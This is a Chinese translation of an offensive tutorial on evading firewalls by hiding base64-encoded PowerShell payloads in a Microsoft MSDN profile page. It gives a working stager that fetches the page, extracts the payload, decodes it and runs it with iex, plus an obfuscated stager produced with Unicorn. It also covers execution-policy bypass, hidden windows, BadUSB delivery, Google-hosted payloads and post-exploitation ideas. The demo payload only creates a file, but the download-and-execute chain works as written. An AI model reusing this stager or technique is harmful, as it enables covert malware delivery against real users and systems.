利用Microsoft.com绕过防火墙以传递恶意命令

iso60001  1967天前

Microsoft.com可以说是互联网上最知名域名之一,旗下拥有数千个子域。在很多特定的时刻,Windows 10系统会对这些子域执行数百次ping操作,这就使得防火墙和其他安全软件很难实时确认这些请求的合法性。因此,攻击者可以使用这些子域来传递恶意软件以躲避防火墙。

22.jpg

最近,在社交媒体上分享一篇文章时,我发现Twitter会阻止我往tweet窗口中输入一个简单的PowerShell命令。Twitter会显示一条错误消息,表示无法提交tweet。

这件事突然启发了我,在过去,不少黑客一直在Twitter上发布PowerShell命令,目的是传递恶意payload。那么,我可不可以用其他流行的域名来干这件事呢?说不定会有更好的效果。

为什么要使用Microsoft的域名而不是某些虚拟机?

最显著的优势可能是防火墙对这些流行的域名是高度信任的。

此外,Windows系统本身也会对这些域名发起很多请求,这些恶意流量更可以混杂其中,绕过检测。

Windows 10系统基本每天都会“打电话回家”数万次。即使改变了系统设置,Windows 10也会对Microsoft的服务器执行数千次ping操作。之所以发起这么多网络请求,是因为这些与Microsoft域之间的交流对维护系统更新和操作系统正常运作是非常重要的。下面是Wireshark捕获的相关数据。

33.jpg

此外,某些Microsoft的子域名可能会看起来很奇怪(例如,“geover-prod.do.dsp.mp.microsoft.com”)。这些通常服务于后台运行的专用服务、资源和应用程序。这就意味着为了让系统正常运行,一些防火墙和安全设备将把*.microsoft.com放入白名单,而某些系统管理员也可能完全忽略Microsoft域名,因为它们不太可能被黑客所掌控。

在以上这个大背景下,攻击者也许能找一些可乘之机。以下面的Wireshark捕获的流量为例。你注意到有什么异常吗?

44.jpg

流量中的social.msdn.microsoft.com被用来传递攻击者的payload。对于使用肉眼或深度报文检测的管理员来说,并不能发现什么问题。这个域名属于微软的开发者社区论坛,而且发起的请求已被加密(TCP/TLS),因此即使进一步检查数据包内容,也不会发现什么奇怪的内容。对于观察到这种流量的管理员来说,这只是用户在浏览微软论坛。

接下来我们导航到这个攻击者请求的页面,可以看到一些不寻常的地方。

55.jpg

请注意,并不是只有这个域名可以被黑客利用,许多微软的域名可能起到类似的作用,如微软的Answer、Office Forms、OneDrive,甚至是微软的新闻网站。

步骤1:创建payload

现在,让我们实际操作一下,最终要达到的效果是在Documents\文件夹中创建一个名为pwn_sauce的空文本文件。请注意命令中的三个反斜杠。在bash(kali 终端)中,需要将PowerShell变量作为文本字符串传递

powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:\Users\\\$env:USERNAME\Documents\pwn_sauce'

这条PowerShell命令使用了绕过策略-ep bypass,同时使用/w 1隐藏弹出窗口。而New-item用于创建新文件。在文件的路径中,使用了环境变量补充绝对路径。它可以在任何Windows 10计算机上执行,最终将在Documents\文件夹下创建一个新文件。

以上简单命令可以直接嵌入social.msdn.microsoft.comAbout Me部分。如果要使用包含特殊字符的复杂的PowerShell命令,就必须对payload进行base64编码。否则,Microsoft的服务器将自动去除特殊字符(例如,<、>和&)。

~# printf '%s' "PAYLOAD GOES HERE" | base64

cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6
XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHB3bl9zYXVjZSc=

在使用base64产生payload的编码时,可能会产生换行符\n,记得删除后再进行命令拼接。

~# printf '%s' "PAYLOAD GOES HERE" | base64 | tr -d 

cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHB3bl9zYXVjZSc=

接下来,让我们创建Microsoft帐户,并设置stager。

步骤2:创建Microsoft帐户

很多微软的网站都有帐户的登录和创建,随便选择一个进行帐户创建。

66.jpg

登录后,导航到social.msdn.microsoft.com/profile/username的“用户配置”页面,然后单击“编辑我的配置文件”,更新About Me的部分。

步骤3:往Microsoft网站输入payload

About Me只可容纳1024个字符,在创建payload时应注意别超过限制,尤其是在使用base64编码时。

77.jpg

将所需的payload粘贴到About Me中单词STARTEND之间,这步对stager至关重要,它会分析Microsoft页面上的所有HTML代码,并提取出STARTEND之间的字符串。

一旦完成后,单击页面底部的“保存”按钮。

步骤4:创建stager

下面的PowerShell代码用于下载Microsoft用户的配置文件页,并提取被编码的payload,再对其进行解码,然后执行。

$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/USERNAME -UseBasicParsing;$r = [Regex]::new("(?<=START)(.*)(?=END)");$m = $r.Match($wro.rawcontent);if($m.Success){ $p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::Frombase64String($m.value));iex $p }

以上包含多个命令,用分号分隔。我将详细讲解每个命令。

$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/USERNAME -UseBasicParsing;

其中Invoke-WebRequest(iwr)用于获取参数-UseBasicParsing指定的网页。这条命令的结果都存储在变量$wro(WebResponseobject)中。参数UseBasicParsing用于进行基本的解析。我发现这个参数需要手动设置才能使请求成功。

$r = Regex::new("(?<=START)(.*)(?=END)");

接下来,我们可以使用正则表达式在HTML代码中定位payload。虽然还有其他的方法,但这种最普遍。所有STARTEND之间的字符串将被提取出来。

$m = $r.Match($wro.rawcontent);

再把正则表达式提出的字符串赋值给$m

if($m.Success){ $p = System.Text.Encoding::UTF8.GetString(System.Convert::Frombase64String($m.value)); ...}

$m的值进行解码(Frombase64String),传递给$P

iex $p

最后,使用Invoke-expression(iex)来执行$p。在这种情况下,$P代表了PowerShell编码的payload。为了测试,可以用echo命令替换iex命令,结果如下所示。

88.jpg

步骤5:混淆PowerShell stager(可选)

在这一步,我们可以使用Unicorn之类的工具来混淆恶意代码。要深入了解Unicorn,请查看How to Create an Undetectable Payload和其官方Github页面

~# python unicorn.py stager.ps1

                                                     ,/
                                                    //
                                                  ,//
                                      ___   /|   |//
                                  `__/\_ --(/|___/-/
                               \|\_-\___ __-_`- /-/ \.
                              |\_-___,-\_____--/_)' ) \
                               \ -_ /     __ \( `( __`\|
                               `\__|      |\)\ ) /(/|
       ,._____.,            ',--//-|      \  |  '   /
      /     __. \,          / /,---|       \       /
     / /    _. \  \        `/`_/ _,'        |     |
    |  | ( (  \   |      ,/\'__/'/          |     |
    |  \  \`--, `_/_------______/           \(   )/
    | | \  \_. \,                            \___/\
    | |  \_   \  \                                 \
    \ \    \_ \   \   /                             \
     \ \  \._  \__ \_|       |                       \
      \ \___  \      \       |                        \
       \__ \__ \  \_ |       \                         |
       |  \_____ \  ____      |                        |
       | \  \__ ---' .__\     |        |               |
       \  \__ ---   /   )     |        \              /
        \   \____/ / ()(      \          `---_       /|
         \__________/(,--__    \_________.    |    ./ |
           |     \ \  `---_\--,           \   \_,./   |
           |      \  \_ ` \    /`---_______-\   \\    /
            \      \.___,`|   /              \   \\   \
             \     |  \_ \|   \              (   |:    |
              \    \      \    |             /  / |    ;
               \    \      \    \          ( `_'   \  |
                \.   \      \.   \          `__/   |  |
                  \   \       \.  \                |  |
                   \   \        \  \               (  )
                    \   |        \  |              |  |
                     |  \         \ \              I  `
                     ( __;        ( _;            ('-_';
                     |___\        \___:            \___:

aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave

[*] Exported powershell output code to powershell_attack.txt

其中powershell_attack.txt就是混淆后的stager。

~# cat powershell_attack.txt

powershell /w 1 /C "s\"\"v ic -;s\"\"v tHL e\"\"c;s\"\"v NwW ((g\"\"v ic).value.toString()+(g\"\"v tHL).value.toString());powershell (g\"\"v NwW).value.toString() ('JAB3AHIAbwAgAD0AIABpAHcAcgAgAC0AVQByAGkAIABoAHQAdABwAHMAOgAvAC8AcwBvAGMAaQBhAGwALgBtAHMAZABuAC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAFAAcgBvAGYAaQBsAGUALwBVAFMARQBSAE4AQQBNAEUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnADsAJAByACAAPQAgAFsAUgBlAGcAZQB4AF0AOgA6AG4AZQB3ACgAIgAoAD8APAA9AFMAVABBAFIAVAApACgALgAqACkAKAA/AD0ARQBOAEQAKQAiACkAOwAkAG0AIAA9ACAAJAByAC4ATQBhAHQAYwBoACgAJAB3AHIAbwAuAHIAYQB3AGMAbwBuAHQAZQBuAHQAKQA7AGkAZgAoACQAbQAuAFMAdQBjAGMAZQBzAHMAKQB7ACAAJABwACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAG0ALgB2AGEAbAB1AGUAKQApADsAaQBlAHgAIAAkAHAAIAB9AAoA')"

而在实践中,最常用的攻击手法应该是利用BadUSB,只要插入受害者机器,几秒钟之内就可以控制目标。

改进

除了微软的域名,攻击者还可以利用谷歌的域名来进行同样的攻击。和*.microsoft.com一样,大多数防火墙不会拦截指向google.com的GET请求。

在谷歌的域名上托管payload较为复杂。攻击者需要通过创建一个谷歌可以索引的网站。然后,再创建一个包含payload的Web路径。最后,通过标识href获取payload(示例如下)。可以看出,这个payload完全通过谷歌搜索引擎获得的。

99.jpg

本文只介绍了一个非常简单的PowerShell命令,它只是创建一个文件。实际上,攻击者可能会尝试使用系统命令进行后渗透攻击。攻击者可直接把目标计算机作为一个Wi-Fi热点并创建SMB共享。这样的攻击者就可直接连接到目标的Wi-Fi热点,并直接获取计算机上文件。

此外,在我的简短测试中(没有混淆),一个编译好的PowerShell stager(exe)会被SmartScreen报警,提示用户这个exe是由“未知发布者”创建的。我们将在以后的文章中演示如何绕过SmartScreen。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://null-byte.wonderhowto.com/how-to/use-microsoft-com-domains-bypass-firewalls-execute-payloads-0196505/

最新评论

昵称
邮箱
提交评论